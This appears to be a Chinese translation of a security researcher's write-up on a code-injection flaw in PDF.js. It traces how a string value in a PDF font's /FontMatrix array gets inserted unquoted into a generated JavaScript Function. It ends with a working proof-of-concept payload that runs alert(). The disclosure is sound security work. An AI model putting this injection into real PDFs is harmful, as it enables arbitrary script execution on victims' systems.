闽公网安备 35020302035485号
// 如果可以,将cmds编译成JS以获得最大速度...
if (this.isEvalSupported && FeatureTest.isEvalSupported) {
const jsBuf = [];
for (const current of cmds) {
const args = current.args !== undefined ? current.args.join(",") : "";
jsBuf.push("c.", current.cmd, "(", args, ");\\n");
}
// eslint-disable-next-line no-new-func
console.log(jsBuf.join(""));
return (this.compiledGlyphs[character] = new Function(
"c",
"size",
jsBuf.join("")
));
}
从攻击者的角度来看,这非常有趣:如果我们能够以某种方式控制进入Function体的cmds并插入自己的代码,那么当渲染这样一个字形时,它将被执行。现在,让我们看看这个命令列表是如何生成的。追溯到CompiledFont类的compileGlyph(...)方法,我们发现这个方法用一些通用命令(save, transform, scale 和 restore)初始化了cmds数组,并调用compileGlyphImpl(...)方法来填充实际的渲染命令:compileGlyph(code, glyphId) {
if (!code || code.length === 0 || code[0] === 14) {
return NOOP;
}
let fontMatrix = this.fontMatrix;
...
const cmds = [
{ cmd: "save" },
{ cmd: "transform", args: fontMatrix.slice() },
{ cmd: "scale", args: ["size", "-size"] },
];
this.compileGlyphImpl(code, cmds, glyphId);
cmds.push({ cmd: "restore" });
return cmds;
}
如果我们对PDF.js代码进行插桩以记录生成的Function对象,我们会看到生成的代码确实包含了这些命令:c.save(); c.transform(0.001,0,0,0.001,0,0); c.scale(size,-size); c.moveTo(0,0); c.restore();在这一点上,我们可以审计字体解析代码以及由字形产生的各种命令和参数,比如quadraticCurveTo和bezierCurveTo,但所有这些看起来都是相当无害的,没有能力控制任何东西除了数字。然而,更有趣的是我们上面看到的transform命令:
{ cmd: "transform", args: fontMatrix.slice() },
这个fontMatrix数组是通过.slice()复制的,并插入到Function对象体中,用逗号连接。代码显然假设它是一个数字数组,但情况总是这样吗?这个数组中的任何字符串将被文字插入,周围没有任何引号。因此,这将打破JavaScript语法,最坏的情况下,可能导致任意代码执行。但我们能否以这种方式控制fontMatrix的内容呢?extractFontHeader(properties) {
let token;
while ((token = this.getToken()) !== null) {
if (token !== "/") {
continue;
}
token = this.getToken();
switch (token) {
case "FontMatrix":
const matrix = this.readNumberArray();
properties.fontMatrix = matrix;
break;
...
}
...
}
...
}
这对我们来说并不是很有趣。尽管Type1字体的技术头部包含任意Postscript代码,但没有任何理智的PDF阅读器完全支持这一点,大多数阅读器只是尝试读取具有预期类型的预定义键值对。在这种情况下,PDF.js在遇到FontMatrix键时只读取一个数字数组。看来我们确实限于数字。const properties = {
type,
name: fontName.name,
subtype,
file: fontFile,
...
fontMatrix: dict.getArray("FontMatrix") || FONT_IDENTITY_MATRIX,
...
bbox: descriptor.getArray("FontBBox") || dict.getArray("FontBBox"),
ascent: descriptor.get("Ascent"),
descent: descriptor.get("Descent"),
xHeight: descriptor.get("XHeight") || 0,
capHeight: descriptor.get("CapHeight") || 0,
flags: descriptor.get("Flags"),
italicAngle: descriptor.get("ItalicAngle") || 0,
...
}
在PDF格式中,字体定义由几个对象组成。Font、它的FontDescriptor和实际的FontFile。例如,这里由对象1、2和3表示:1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont >> endobjdict引用的代码指的是Font对象。因此,我们应该能够像这样定义一个自定义的FontMatrix数组:
1 0 obj << /Type /Font /Subtype /Type1 /FontDescriptor 2 0 R /BaseFont /FooBarFont /FontMatrix [1 2 3 4 5 6] % <----- >> endobj尝试这样做最初看起来似乎不起作用,因为生成的Function体中的transform操作仍然使用默认矩阵。然而,这是因为字体文件本身覆盖了该值。幸运的是,当使用没有内部FontMatrix定义的Type1字体时,PDF指定的值是权威的,因为fontMatrix值没有被覆盖。现在我们可以从一个PDF对象中控制这个数组,我们就有了我们想要的所有灵活性,因为PDF支持的不仅仅是数字类型的原始数据。让我们尝试用一个字符串类型的值代替数字(在PDF中,字符串由括号分隔):
/FontMatrix [1 2 3 4 5 (foobar)]确实,它被直接插入到Function体中!
c.save(); c.transform(1,2,3,4,5,foobar); c.scale(size,-size); c.moveTo(0,0); c.restore();利用和影响
/FontMatrix [1 2 3 4 5 (0); alert('foobar')]
结果正如预期:
2024-05-22 – 补充了详细的版本信息和更新的PoC,感谢Rob Wu